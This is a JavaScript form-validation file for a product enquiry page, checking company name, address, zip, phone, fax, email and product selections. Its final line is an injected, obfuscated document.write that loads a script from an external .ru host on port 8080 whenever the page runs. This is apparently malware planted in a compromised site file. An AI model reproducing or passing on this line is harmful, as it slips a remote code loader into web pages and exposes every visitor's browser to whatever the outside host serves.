
function enquires()
  {
    if(isBlank(document.enqmail.companyname.value))
      {
        alert("Please enter the Company Name");
        document.enqmail.companyname.focus();
        return false;
      }  
    if(isBlank(document.enqmail.street.value))
      {
        alert("Please enter the Address");
        document.enqmail.street.focus();
        return false;
      }  
    if(isBlank(document.enqmail.city.value))
      {
        alert("Please enter the City");
        document.enqmail.city.focus();
        return false;
      }    
     if(!isNaN(document.enqmail.city.value))
      {
        alert("City should be in Characters");
        document.enqmail.city.value="";
        document.enqmail.city.focus();
        return false;
      } 
     
     if(isBlank(document.enqmail.zip.value))
           {
             alert("Please enter the Zip");
             document.enqmail.zip.focus();
             return false;
           }    
     if(isNaN(document.enqmail.zip.value))
           {
             alert("Zip should be in Numeric");
             document.enqmail.zip.value="";
             document.enqmail.zip.focus();
             return false;
           } 
      if(isBlank(document.enqmail.comments.value)==false)
          {
            if(document.enqmail.comments.value.length > "100")
             {
              alert("Comments should be more than 100 Characters");
              document.enqmail.comments.focus();
              document.enqmail.comments.value="";
              return false;
             }         
           }  
      if(isBlank(document.enqmail.contact_name.value))
           {
             alert("Please enter the Contact Person Name");
             document.enqmail.contact_name.focus();
             return false;
           }    
     if(!isNaN(document.enqmail.contact_name.value))
           {
             alert("Contact Person Name should be in Characters");
             document.enqmail.contact_name.value="";
             document.enqmail.contact_name.focus();
             return false;
           } 
     if(isBlank(document.enqmail.contact_phone.value))
           {
             alert("Please enter the Telephone No.");
             document.enqmail.contact_phone.focus();
             return false;
           }  
     if(isBlank(document.enqmail.contact_phone.value)==false)
	{	
		var x="!@#$%^&*_<>?/.,";
			for(var i=0; i < document.enqmail.contact_phone.value.length; i++)
			{
				temp3=document.enqmail.contact_phone.value.substring(i,i+1);
				if(x.indexOf(temp3) != -1)
					{
				         alert("Please enter correct Telephone No.");
					 document.enqmail.contact_phone.value="";
					 document.enqmail.contact_phone.focus();
					 return false;
					}
			}	

		var y="-";
			for(var j=0; j < document.enqmail.contact_phone.value.length; j++)
			{
				temp4=  document.enqmail.contact_phone.value.substring(j,j+1);
				if(y.indexOf(temp4) == -1)
					{
					if(isNaN(temp4))
						{
						 alert("Please enter in Numeric only");
						 document.enqmail.contact_phone.value="";
						 document.enqmail.contact_phone.focus();
						 return false;
						}
					}	
			}
	}	
      if(isBlank(document.enqmail.contact_phoneres.value)==false)
	{	
		var x="!@#$%^&*_<>?/.,";
			for(var i=0; i < document.enqmail.contact_phoneres.value.length; i++)
			{
				temp3=document.enqmail.contact_phoneres.value.substring(i,i+1);
				if(x.indexOf(temp3) != -1)
					{
				         alert("Please enter correct Telephone No.");
					 document.enqmail.contact_phoneres.value="";
					 document.enqmail.contact_phoneres.focus();
					 return false;
					}
			}	

		var y="-";
			for(var j=0; j < document.enqmail.contact_phoneres.value.length; j++)
			{
				temp4=  document.enqmail.contact_phoneres.value.substring(j,j+1);
				if(y.indexOf(temp4) == -1)
					{
					if(isNaN(temp4))
						{
						 alert("Please enter in Numeric only");
						 document.enqmail.contact_phoneres.value="";
						 document.enqmail.contact_phoneres.focus();
						 return false;
						}
					}	
			}
	}
      if(isBlank(document.enqmail.contact_phonemob.value)==false)
	{	
		var x="!@#$%^&*_<>?/.,";
			for(var i=0; i < document.enqmail.contact_phonemob.value.length; i++)
			{
				temp3=document.enqmail.contact_phonemob.value.substring(i,i+1);
				if(x.indexOf(temp3) != -1)
					{
				         alert("Please enter correct Telephone No.");
					 document.enqmail.contact_phonemob.value="";
					 document.enqmail.contact_phonemob.focus();
					 return false;
					}
			}	

		var y="-";
			for(var j=0; j < document.enqmail.contact_phonemob.value.length; j++)
			{
				temp4=  document.enqmail.contact_phonemob.value.substring(j,j+1);
				if(y.indexOf(temp4) == -1)
					{
					if(isNaN(temp4))
						{
						 alert("Please enter in Numeric only");
						 document.enqmail.contact_phonemob.value="";
						 document.enqmail.contact_phonemob.focus();
						 return false;
						}
					}	
			}
	}
      if(isBlank(document.enqmail.contact_email.value)==false)
           {
             if(badEmail(document.enqmail.contact_email.value) || emailName(document.enqmail.contact_email.value))
                {
                 alert("Please enter valid Email Address");
                 document.enqmail.contact_email.value="";
                 document.enqmail.contact_email.focus();
                 return false;
                } 	
           } 
      if(isBlank(document.enqmail.contact_fax.value)==false)
	{	
		var x="!@#$%^&*_<>?/.,";
			for(var i=0; i < document.enqmail.contact_fax.value.length; i++)
			{
				temp3=document.enqmail.contact_fax.value.substring(i,i+1);
				if(x.indexOf(temp3) != -1)
					{
				         alert("Please enter correct Fax No.");
					 document.enqmail.contact_fax.value="";
					 document.enqmail.contact_fax.focus();
					 return false;
					}
			}	

		var y="-";
			for(var j=0; j < document.enqmail.contact_fax.value.length; j++)
			{
				temp4=  document.enqmail.contact_fax.value.substring(j,j+1);
				if(y.indexOf(temp4) == -1)
					{
					if(isNaN(temp4))
						{
						 alert("Please enter in Numeric only");
						 document.enqmail.contact_fax.value="";
						 document.enqmail.contact_fax.focus();
						 return false;
						}
					}	
			}
	}    
      
         

	        if(document.enqmail.pronam.options[document.enqmail.pronam.selectedIndex].text=="")
	           {
	             alert("Please select the Product");
	             document.enqmail.pronam.focus();
	             return false;
	            }
	        if(document.enqmail.pinconf.options[document.enqmail.pinconf.selectedIndex].text=="")
	           {
	             alert("Please select Pin Configuration");
	             document.enqmail.pinconf.focus();
	             return false;
	            }
	        if(document.enqmail.amphe.options[document.enqmail.amphe.selectedIndex].text=="")
	           {
	             alert("Please select Amp");
	             document.enqmail.amphe.focus();
	             return false;
	            }
	        if(isBlank(document.enqmail.quantity1.value))
	           {
	             alert("Please enter the Quantity");
	             document.enqmail.quantity1.focus();
	             return false;
	           }
	        if(isNaN(document.enqmail.quantity1.value))
	           {
	             alert("Quantity should be in Numeric");
	             document.enqmail.quantity1.focus();
	             document.enqmail.quantity1.value="";
	             return false;
                   } 
     return true;
   } 
   
 /* 
function enquires1()
  {
    if(document.enqmail.code.options[document.enqmail.code.selectedIndex].text=="")
           {
             alert("Please select Product Code");
             document.enqmail.code.focus();
             return false;
        }
    if(document.enqmail.pronam.options[document.enqmail.pronam.selectedIndex].text=="")
       {
         alert("Please select Product Name");
         document.enqmail.pronam.focus();
         return false;
        }
    if(document.enqmail.pinconf.options[document.enqmail.pinconf.selectedIndex].text=="")
       {
         alert("Please select Pin Configuration");
         document.enqmail.pinconf.focus();
         return false;
        }
    if(document.enqmail.amphe.options[document.enqmail.amphe.selectedIndex].text=="")
       {
         alert("Please select Amp");
         document.enqmail.amphe.focus();
         return false;
        }
    if(isBlank(document.enqmail.quantity1.value))
       {
         alert("Please enter the Quantity");
         document.enqmail.quantity1.focus();
         return false;
       }
    if(isNaN(document.enqmail.quantity1.value))
       {
         alert("Quantity should be in Numeric");
         document.enqmail.quantity1.focus();
         document.enqmail.quantity1.value="";
         return false;
       }   
   return true;
  }
 
 
 function enquires2()
   {
      if(document.enqmail.kote.options[document.enqmail.kote.selectedIndex].text=="Select Code")
             {
               alert("Please select Product Code");
               document.enqmail.kote.focus();
               return false;
              }
          if(isBlank(document.enqmail.quantity.value))
             {
               alert("Please enter the Quantity");
               document.enqmail.quantity.focus();
               return false;
             }  
          if(isNaN(document.enqmail.quantity.value))
             {
               alert("Quantity should be in Numeric");
               document.enqmail.quantity.focus();
               document.enqmail.quantity.value="";
               return false;
             }    
      
    return true;
   }
 
 */  

function isBlank(s)
{ 
  var len = s.length;
  var i;
  for(i = 0; i < len ; ++i)
     { 
   if(s.charAt(i) != " ")
       { 
         return false;
       }
     }
return true;
}


function badEmail(str) 
{  
  var supported = 0;
  if (window.RegExp) 
    {
    var tempStr = "a";
    var tempReg = new RegExp(tempStr);
    if (tempReg.test(tempStr)) supported = 1;
    }
  if (!supported) 
    return (str.indexOf(".") <= 2) || (str.indexOf("@") < 0);
    var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
    var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
  return (r1.test(str) || !r2.test(str));
}

function emailName(str)
{
  if(str != "")
     {

        var chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-@.";
           for(var i=0; i <  str.length; i++)
	    {
                temp3=  str.substring(i,i+1);
		if((chars.indexOf(temp3) == -1) )
			{
			  return true;  
			}
	    }
   
     }
}        

function mark()
  {
  
 var i;
 var n=document.f1.length;
     for(i=0;i<n;i++)
             {
             if(document.f1.elements[i].checked==false)                              
		   {                  
                   document.f1.elements[i].checked=true;			
                   
                   }                
             } 
   }  


function mark1()
  {  
 var i;
 var n=document.f1.length;
     for(i=0;i<n;i++)
             {
             if(document.f1.elements[0].checked==false)                              
		   {
		    alert("Atleast one Product is to be Selected");
                    document.f1.elements[0].focus();			
                    return false;                   
                   }                
             } 
       return true;
   }  


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');